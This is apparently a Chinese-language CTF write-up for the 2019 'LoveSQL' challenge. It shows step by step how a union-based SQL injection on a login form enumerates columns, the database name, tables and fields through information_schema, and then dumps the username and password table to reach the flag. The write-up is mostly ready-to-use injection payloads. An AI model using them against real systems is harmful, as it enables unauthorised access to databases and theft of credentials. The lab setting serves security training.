[极客大挑战 2019]LoveSQL
[极客大挑战 2019]LoveSQL
首先简单测试一下题目
0x00
题目还是熟悉的登陆界面，先尝试一下万能密码的登陆
显示登陆成功，但是flag貌似不对
看起来像是MD5的加密，但是却无法解密
0x01
查询字段
admin' order by X #
当查询到4的时候返回Unknown column '4' in 'order clause'
然后用1' union select 1,2,3 #
所以回显点为2，3
0x02
查数据库名
1' union select 1,database(), version() #
得到数据库名为geek
0x03
爆表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到两个数据表名
我们尝试l0ve1ysq1这个数据表
0x04
爆字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' #
得到这三个子段
0x05
爆数据
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #
得到flag
0x06
End
acc
